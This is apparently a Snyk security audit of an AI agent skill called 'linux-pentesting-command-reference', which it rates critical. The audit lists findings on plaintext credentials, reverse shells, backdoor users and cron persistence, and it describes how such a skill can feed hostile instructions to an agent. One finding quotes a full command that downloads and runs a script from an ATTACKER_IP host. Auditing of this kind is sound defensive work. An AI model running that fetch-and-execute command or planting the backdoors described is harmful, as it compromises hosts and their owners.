linux-pentesting-command-reference

Fail

Audited by Snyk on Jun 12, 2026

Risk Level: CRITICAL
Full Analysis

HIGH W007: Insecure credential handling detected in skill instructions.

  • Insecure credential handling detected (high risk: 0.90). The skill contains many examples that embed plaintext credentials (e.g., "backdoor:password", "password123", echoing a public key into authorized_keys) and explicitly instructs documenting discovered credentials, which would require the agent to handle and potentially output secret values verbatim.

CRITICAL E005: Suspicious download URL detected in skill instructions.

  • Suspicious download URL detected (high risk: 1.00). Multiple entries are direct HTTP links to an attacker-controlled host serving executable scripts (e.g., linpeas.sh, /file) — a high-risk distribution vector — and the GitHub repo is from an unknown user (while ara.so may be legitimate), so overall these URLs are suspicious and could deliver malware.

CRITICAL E006: Malicious code pattern detected in skill scripts.

  • Malicious code pattern detected (high risk: 1.00). This document contains explicit, actionable malicious techniques (reverse shells, remote code execution, hidden network exfiltration, credential harvesting, adding backdoor users/SSH keys, cron-based persistence and PATH/SUID abuse) that directly enable unauthorized compromise and persistence if misused.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

  • Potentially malicious external URL detected (high risk: 0.90). The skill includes commands that fetch and execute remote scripts at runtime from attacker-hosted URLs (e.g., "wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && ./tmp/linpeas.sh"), meaning it relies on external content that is executed on the host.

MEDIUM W013: Attempt to modify system services in skill instructions.

  • Attempt to modify system services in skill instructions detected (high risk: 1.00). This skill explicitly instructs privilege-escalation and post-exploitation actions that modify system state (e.g., adding users, editing /etc/passwd, planting SSH keys, writing cronbackdoors and invoking sudo/kernel exploits), which require or obtain root and therefore compromise the host.

Issues (5)

W007
HIGH

Insecure credential handling detected in skill instructions.

E005
CRITICAL

Suspicious download URL detected in skill instructions.

E006
CRITICAL

Malicious code pattern detected in skill scripts.

W012
MEDIUM

Unverifiable external dependency detected (runtime URL that controls agent).

W013
MEDIUM

Attempt to modify system services in skill instructions.

Audit Metadata
Risk Level
CRITICAL
Analyzed
Jun 12, 2026, 08:50 PM
Issues
5
Security Audit — snyk — linux-pentesting-command-reference